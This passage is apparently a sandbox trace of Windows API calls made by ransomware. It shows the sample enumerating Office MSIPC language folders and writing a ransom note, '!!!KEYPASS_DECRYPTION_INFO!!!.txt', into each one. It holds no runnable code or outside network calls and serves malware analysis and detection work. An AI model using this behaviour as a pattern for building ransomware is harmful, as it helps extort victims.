lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0258.961] PeekMessageW (in: lpMsg=0x2e4e688, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4e688) returned 0 [0258.962] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x3881190 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0258.962] GetLastError () returned 0x3f0 [0258.962] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\MSIPC\\ar\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\MSIPC\\ar\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0258.962] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\MSIPC\\ar\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0258.962] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\MSIPC\\ar\\!!!KEYPASS_DECRYPTION_INFO!!!.txt" (normalized: "c:\\program files\\microsoft office\\root\\office16\\msipc\\ar\\!!!keypass_decryption_info!!!.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x2e4e4e8, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xa98 [0258.963] GetFileType (hFile=0xa98) returned 0x1 [0258.963] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e518, cchData=2 | out: lpLCData="0") returned 2 [0258.963] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e504, cchData=2 | out: lpLCData="0") returned 2 [0258.963] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e4f4, cchData=2 | out: lpLCData="0") returned 2 [0258.963] WriteFile (in: hFile=0xa98, lpBuffer=0x2e4d180*, nNumberOfBytesToWrite=0x3a4, lpNumberOfBytesWritten=0x2e4caac, lpOverlapped=0x0 | out: lpBuffer=0x2e4d180*, lpNumberOfBytesWritten=0x2e4caac*=0x3a4, lpOverlapped=0x0) returned 1 [0258.964] WriteFile (in: hFile=0xa98, lpBuffer=0x2e4d180*, nNumberOfBytesToWrite=0x2a, lpNumberOfBytesWritten=0x2e4caac, lpOverlapped=0x0 | out: lpBuffer=0x2e4d180*, lpNumberOfBytesWritten=0x2e4caac*=0x2a, lpOverlapped=0x0) returned 1 [0258.964] CloseHandle (hObject=0xa98) returned 1 [0258.964] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\MSIPC\\ar\\*", lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 0x3876380 [0258.965] FindNextFileW (in: hFindFile=0x3876380, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0258.965] FindNextFileW (in: hFindFile=0x3876380, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0258.965] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\MSIPC\\ar\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned=".txt" [0258.965] FindNextFileW (in: hFindFile=0x3876380, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0258.965] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\MSIPC\\ar\\msipc.dll.mui") returned=".mui" [0258.965] FindNextFileW (in: hFindFile=0x3876380, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 0 [0258.965] FindNextFileW (in: hFindFile=0x3876340, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0258.965] PeekMessageW (in: lpMsg=0x2e4e688, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4e688) returned 0 [0258.965] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x3881190 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0258.965] GetLastError () returned 0x3f0 [0258.965] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\MSIPC\\bg\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\MSIPC\\bg\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0258.965] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\MSIPC\\bg\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0258.965] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\MSIPC\\bg\\!!!KEYPASS_DECRYPTION_INFO!!!.txt" (normalized: "c:\\program files\\microsoft office\\root\\office16\\msipc\\bg\\!!!keypass_decryption_info!!!.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x2e4e4e8, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xa9c [0258.966] GetFileType (hFile=0xa9c) returned 0x1 [0258.966] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e518, cchData=2 | out: lpLCData="0") returned 2 [0258.966] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e504, cchData=2 | out: lpLCData="0") returned 2 [0258.966] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e4f4, cchData=2 | out: lpLCData="0") returned 2 [0258.966] WriteFile (in: hFile=0xa9c, lpBuffer=0x2e4d180*, nNumberOfBytesToWrite=0x3a4, lpNumberOfBytesWritten=0x2e4caac, lpOverlapped=0x0 | out: lpBuffer=0x2e4d180*, lpNumberOfBytesWritten=0x2e4caac*=0x3a4, lpOverlapped=0x0) returned 1 [0258.967] WriteFile (in: hFile=0xa9c, lpBuffer=0x2e4d180*, nNumberOfBytesToWrite=0x2a, lpNumberOfBytesWritten=0x2e4caac, lpOverlapped=0x0 | out: lpBuffer=0x2e4d180*, lpNumberOfBytesWritten=0x2e4caac*=0x2a, lpOverlapped=0x0) returned 1 [0258.967] CloseHandle (hObject=0xa9c) returned 1 [0258.967] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\MSIPC\\bg\\*", lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 0x3875d40 [0258.967] FindNextFileW (in: hFindFile=0x3875d40, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0258.967] FindNextFileW (in: hFindFile=0x3875d40, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0258.967] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\MSIPC\\bg\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned=".txt" [0258.967] FindNextFileW (in: hFindFile=0x3875d40, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0258.967] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\MSIPC\\bg\\msipc.dll.mui") returned=".mui" [0258.967] FindNextFileW (in: hFindFile=0x3875d40, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 0 [0258.968] FindNextFileW (in: hFindFile=0x3876340, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0258.968] PeekMessageW (in: lpMsg=0x2e4e688, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4e688) returned 0 [0258.968] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x3881190 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0258.968] GetLastError () returned 0x3f0 [0258.968] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\MSIPC\\ca\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\MSIPC\\ca\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0258.968] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\MSIPC\\ca\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0258.968] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\MSIPC\\ca\\!!!KEYPASS_DECRYPTION_INFO!!!.txt" (normalized: "c:\\program files\\microsoft office\\root\\office16\\msipc\\ca\\!!!keypass_decryption_info!!!.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x2e4e4e8, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xaa4 [0258.969] GetFileType (hFile=0xaa4) returned 0x1 [0258.969] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e518, cchData=2 | out: lpLCData="0") returned 2 [0258.969] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e504, cchData=2 | out: lpLCData="0") returned 2 [0258.969] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e4f4, cchData=2 | out: lpLCData="0") returned 2 [0258.969] WriteFile (in: hFile=0xaa4, lpBuffer=0x2e4d180*, nNumberOfBytesToWrite=0x3a4, lpNumberOfBytesWritten=0x2e4caac, lpOverlapped=0x0 | out: lpBuffer=0x2e4d180*, lpNumberOfBytesWritten=0x2e4caac*=0x3a4, lpOverlapped=0x0) returned 1 [0258.970] WriteFile (in: hFile=0xaa4, lpBuffer=0x2e4d180*, nNumberOfBytesToWrite=0x2a, lpNumberOfBytesWritten=0x2e4caac, lpOverlapped=0x0 | out: lpBuffer=0x2e4d180*, lpNumberOfBytesWritten=0x2e4caac*=0x2a, lpOverlapped=0x0) returned 1 [0258.970] CloseHandle (hObject=0xaa4) returned 1 [0258.970] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\MSIPC\\ca\\*", lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 0x3876500 [0258.970] FindNextFileW (in: hFindFile=0x3876500, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0258.970] FindNextFileW (in: hFindFile=0x3876500, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0258.970] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\MSIPC\\ca\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned=".txt" [0258.971] FindNextFileW (in: hFindFile=0x3876500, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0258.971] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\MSIPC\\ca\\msipc.dll.mui") returned=".mui" [0258.971] FindNextFileW (in: hFindFile=0x3876500, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 0 [0258.971] FindNextFileW (in: hFindFile=0x3876340, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0258.971] PeekMessageW (in: lpMsg=0x2e4e688, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4e688) returned 0 [0258.971] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x3881190 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0258.971] GetLastError () returned 0x3f0 [0258.971] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\MSIPC\\cs\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\MSIPC\\cs\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0258.971] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\MSIPC\\cs\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0258.971] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\MSIPC\\cs\\!!!KEYPASS_DECRYPTION_INFO!!!.txt" (normalized: "c:\\program files\\microsoft office\\root\\office16\\msipc\\cs\\!!!keypass_decryption_info!!!.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x2e4e4e8, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xaa8 [0258.972] GetFileType (hFile=0xaa8) returned 0x1 [0258.972] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e518, cchData=2 | out: lpLCData="0") returned 2 [0258.972] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e504, cchData=2 | out: lpLCData="0") returned 2 [0258.972] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e4f4, cchData=2 | out: lpLCData="0") returned 2 [0258.972] WriteFile (in: hFile=0xaa8, lpBuffer=0x2e4d180*, nNumberOfBytesToWrite=0x3a4, lpNumberOfBytesWritten=0x2e4caac, lpOverlapped=0x0 | out: lpBuffer=0x2e4d180*, lpNumberOfBytesWritten=0x2e4caac*=0x3a4, lpOverlapped=0x0) returned 1 [0258.973] WriteFile (in: hFile=0xaa8, lpBuffer=0x2e4d180*, nNumberOfBytesToWrite=0x2a, lpNumberOfBytesWritten=0x2e4caac, lpOverlapped=0x0 | out: lpBuffer=0x2e4d180*, lpNumberOfBytesWritten=0x2e4caac*=0x2a, lpOverlapped=0x0) returned 1 [0258.973] CloseHandle (hObject=0xaa8) returned 1 [0258.973] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\MSIPC\\cs\\*", lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 0x3875dc0 [0258.973] FindNextFileW (in: hFindFile=0x3875dc0, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0258.973] FindNextFileW (in: hFindFile=0x3875dc0, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0258.973] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\MSIPC\\cs\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned=".txt" [0258.973] FindNextFileW (in: hFindFile=0x3875dc0, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0258.973] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\MSIPC\\cs\\msipc.dll.mui") returned=".mui" [0258.973] FindNextFileW (in: hFindFile=0x3875dc0, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 0 [0258.973] FindNextFileW (in: hFindFile=0x3876340, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0258.973] PeekMessageW (in: lpMsg=0x2e4e688, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4e688) returned 0 [0258.973] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x3881190 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0258.973] GetLastError () returned 0x3f0 [0258.973] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\MSIPC\\da\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\MSIPC\\da\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0258.974] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\MSIPC\\da\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0258.974] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\MSIPC\\da\\!!!KEYPASS_DECRYPTION_INFO!!!.txt" (normalized: "c:\\program files\\microsoft office\\root\\office16\\msipc\\da\\!!!keypass_decryption_info!!!.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x2e4e4e8, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xaac [0258.974] GetFileType (hFile=0xaac) returned 0x1 [0258.975] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e518, cchData=2 | out: lpLCData="0") returned 2 [0258.975] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e504, cchData=2 | out: lpLCData="0") returned 2 [0258.975] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e4f4, cchData=2 | out: lpLCData="0") returned 2 [0258.975] WriteFile (in: hFile=0xaac, lpBuffer=0x2e4d180*, nNumberOfBytesToWrite=0x3a4, lpNumberOfBytesWritten=0x2e4caac, lpOverlapped=0x0 | out: lpBuffer=0x2e4d180*, lpNumberOfBytesWritten=0x2e4caac*=0x3a4, lpOverlapped=0x0) returned 1 [0258.976] WriteFile (in: hFile=0xaac, lpBuffer=0x2e4d180*, nNumberOfBytesToWrite=0x2a, lpNumberOfBytesWritten=0x2e4caac, lpOverlapped=0x0 | out: lpBuffer=0x2e4d180*, lpNumberOfBytesWritten=0x2e4caac*=0x2a, lpOverlapped=0x0) returned 1 [0258.976] CloseHandle (hObject=0xaac) returned 1 [0258.976] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\MSIPC\\da\\*", lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 0x38763c0 [0258.976] FindNextFileW (in: hFindFile=0x38763c0, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0258.976] FindNextFileW (in: hFindFile=0x38763c0, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0258.976] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\MSIPC\\da\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned=".txt" [0258.976] FindNextFileW (in: hFindFile=0x38763c0, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0258.976] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\MSIPC\\da\\msipc.dll.mui") returned=".mui" [0258.976] FindNextFileW (in: hFindFile=0x38763c0, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 0 [0258.976] FindNextFileW (in: hFindFile=0x3876340, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0258.976] PeekMessageW (in: lpMsg=0x2e4e688, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4e688) returned 0 [0258.976] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x3881190 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0258.976] GetLastError () returned 0x3f0 [0258.976] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\MSIPC\\de\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\MSIPC\\de\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0258.976] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\MSIPC\\de\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0258.977] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\MSIPC\\de\\!!!KEYPASS_DECRYPTION_INFO!!!.txt" (normalized: "c:\\program files\\microsoft office\\root\\office16\\msipc\\de\\!!!keypass_decryption_info!!!.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x2e4e4e8, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xab0 [0258.978] GetFileType (hFile=0xab0) returned 0x1 [0258.979] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e518, cchData=2 | out: lpLCData="0") returned 2 [0258.979] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e504, cchData=2 | out: lpLCData="0") returned 2 [0258.979] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e4f4, cchData=2 | out: lpLCData="0") returned 2 [0258.979] WriteFile (in: hFile=0xab0, lpBuffer=0x2e4d180*, nNumberOfBytesToWrite=0x3a4, lpNumberOfBytesWritten=0x2e4caac, lpOverlapped=0x0 | out: lpBuffer=0x2e4d180*, lpNumberOfBytesWritten=0x2e4caac*=0x3a4, lpOverlapped=0x0) returned 1 [0258.979] WriteFile (in: hFile=0xab0, lpBuffer=0x2e4d180*, nNumberOfBytesToWrite=0x2a, lpNumberOfBytesWritten=0x2e4caac, lpOverlapped=0x0 | out: lpBuffer=0x2e4d180*, lpNumberOfBytesWritten=0x2e4caac*=0x2a, lpOverlapped=0x0) returned 1 [0258.980] CloseHandle (hObject=0xab0) returned 1 [0258.980] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\MSIPC\\de\\*", lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 0x3876b00 [0258.980] FindNextFileW (in: hFindFile=0x3876b00, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0258.980] FindNextFileW (in: hFindFile=0x3876b00, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0258.980] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\MSIPC\\de\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned=".txt" [0258.980] FindNextFileW (in: hFindFile=0x3876b00, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0258.980] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\MSIPC\\de\\msipc.dll.mui") returned=".mui" [0258.980] FindNextFileW (in: hFindFile=0x3876b00, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 0 [0258.980] FindNextFileW (in: hFindFile=0x3876340, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0258.980] PeekMessageW (in: lpMsg=0x2e4e688, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4e688) returned 0 [0258.980] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x3881190 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0258.980] GetLastError () returned 0x3f0 [0258.980] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\MSIPC\\el\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\MSIPC\\el\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0258.980] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\MSIPC\\el\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0259.005] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\MSIPC\\el\\!!!KEYPASS_DECRYPTION_INFO!!!.txt" (normalized: "c:\\program files\\microsoft office\\root\\office16\\msipc\\el\\!!!keypass_decryption_info!!!.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x2e4e4e8, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xab4 [0259.006] GetFileType (hFile=0xab4) returned 0x1 [0259.006] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e518, cchData=2 | out: lpLCData="0") returned 2 [0259.006] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e504, cchData=2 | out: lpLCData="0") returned 2 [0259.006] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e4f4, cchData=2 | out: lpLCData="0") returned 2 [0259.007] WriteFile (in: hFile=0xab4, lpBuffer=0x2e4d180*, nNumberOfBytesToWrite=0x3a4, lpNumberOfBytesWritten=0x2e4caac, lpOverlapped=0x0 | out: lpBuffer=0x2e4d180*, lpNumberOfBytesWritten=0x2e4caac*=0x3a4, lpOverlapped=0x0) returned 1 [0259.007] WriteFile (in: hFile=0xab4, lpBuffer=0x2e4d180*, nNumberOfBytesToWrite=0x2a, lpNumberOfBytesWritten=0x2e4caac, lpOverlapped=0x0 | out: lpBuffer=0x2e4d180*, lpNumberOfBytesWritten=0x2e4caac*=0x2a, lpOverlapped=0x0) returned 1 [0259.007] CloseHandle (hObject=0xab4) returned 1 [0259.008] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\MSIPC\\el\\*", lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 0x3876980 [0259.008] FindNextFileW (in: hFindFile=0x3876980, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0259.008] FindNextFileW (in: hFindFile=0x3876980, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0259.008] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\MSIPC\\el\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned=".txt" [0259.008] FindNextFileW (in: hFindFile=0x3876980, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0259.008] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\MSIPC\\el\\msipc.dll.mui") returned=".mui" [0259.008] FindNextFileW (in: hFindFile=0x3876980, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 0 [0259.008] FindNextFileW (in: hFindFile=0x3876340, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0259.008] PeekMessageW (in: lpMsg=0x2e4e688, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4e688) returned 0 [0259.008] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x3881190 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0259.008] GetLastError () returned 0x3f0 [0259.008] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\MSIPC\\en-us\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\MSIPC\\en-us\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0259.008] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\MSIPC\\en-us\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0259.118] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\MSIPC\\en-us\\!!!KEYPASS_DECRYPTION_INFO!!!.txt" (normalized: "c:\\program files\\microsoft office\\root\\office16\\msipc\\en-us\\!!!keypass_decryption_info!!!.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x2e4e4e8, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xaa0 [0259.119] GetFileType (hFile=0xaa0) returned 0x1 [0259.119] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e518, cchData=2 | out: lpLCData="0") returned 2 [0259.119] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e504, cchData=2 | out: lpLCData="0") returned 2 [0259.119] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e4f4, cchData=2 | out: lpLCData="0") returned 2 [0259.119] WriteFile (in: hFile=0xaa0, lpBuffer=0x2e4d180*, nNumberOfBytesToWrite=0x3a4, lpNumberOfBytesWritten=0x2e4caac, lpOverlapped=0x0 | out: lpBuffer=0x2e4d180*, lpNumberOfBytesWritten=0x2e4caac*=0x3a4, lpOverlapped=0x0) returned 1 [0259.120] WriteFile (in: hFile=0xaa0, lpBuffer=0x2e4d180*, nNumberOfBytesToWrite=0x2a, lpNumberOfBytesWritten=0x2e4caac, lpOverlapped=0x0 | out: lpBuffer=0x2e4d180*, lpNumberOfBytesWritten=0x2e4caac*=0x2a, lpOverlapped=0x0) returned 1 [0259.120] CloseHandle (hObject=0xaa0) returned 1 [0259.121] 